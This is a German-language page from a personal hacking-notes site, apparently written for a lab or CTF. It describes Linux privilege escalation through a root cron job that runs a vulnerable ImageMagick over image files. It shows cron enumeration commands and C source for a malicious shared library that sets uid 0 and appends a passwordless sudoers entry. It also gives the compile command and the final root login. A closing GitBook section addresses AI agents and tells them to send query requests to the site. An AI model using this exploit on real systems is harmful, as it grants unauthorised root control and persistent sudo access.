> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).

# ImageMagick-Cron-Missbrauch - Linux-Privilegieneskalation

## Was es ist

Cron-Jobs erstellen Pfade zur Rechteausweitung, wenn wiederkehrende Root-Aufgaben beschreibbare Skripte, unsichere relative Pfade oder verwundbare Prozessoren ausführen. Der Schlüssel ist nachzuweisen, dass ein Benutzer mit niedrigen Rechten etwas kontrolliert, das eine privilegierte geplante Aufgabe ausführen wird. Diese spezielle Seite konzentriert sich auf **Cron-Jobs - ImageMagick-Ausnutzung** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## Beispiele

In `/opt/`, können Sie ein `script.sh` automatisch ausgeführtes Skript

<figure><img src="/files/50818ae997c83e97df5e91384aad273f8957d8e9" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> Dieses Shell-Skript beginnt damit, in den `/opt/app/static/assets/images` Ordner zu wechseln und dann die `metadata.log` Datei, falls sie existiert. Dann sucht es nach allen `.jpg` Dateien in diesem Verzeichnis und verwendet ImageMagicks `identify` Befehl, um ihre Metadaten (Größe, Format, Farbtiefe usw.) zu extrahieren. Diese Informationen werden dann gespeichert in `metadata.log`. Somit erzeugt dieses Skript eine aktualisierte Metadatendatei für alle JPG-Bilder im angegebenen Ordner.

Das Skript verwendet **ImageMagick**, eine verwundbare Version.

```bash
magicks --version
```

<figure><img src="/files/3f9b89191e99cdc8d0bb4064981fa56d1f7fc512" alt=""><figcaption></figcaption></figure>

### Ausnutzung über `LD_PRELOAD`

Wir erstellen einen `a.c` Datei ein:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

Kompilierung:

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/8746cdad834b2afd6daf0686cd8374f05e9a271c" alt=""><figcaption></figcaption></figure>

Es wird dem Verzeichnis hinzugefügt, das von `ImageMagick`. Dann führen wir aus:

```bash
su root
```

<figure><img src="/files/32fc909d319c1e51d3ea9bdf99b61ca714552a3b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
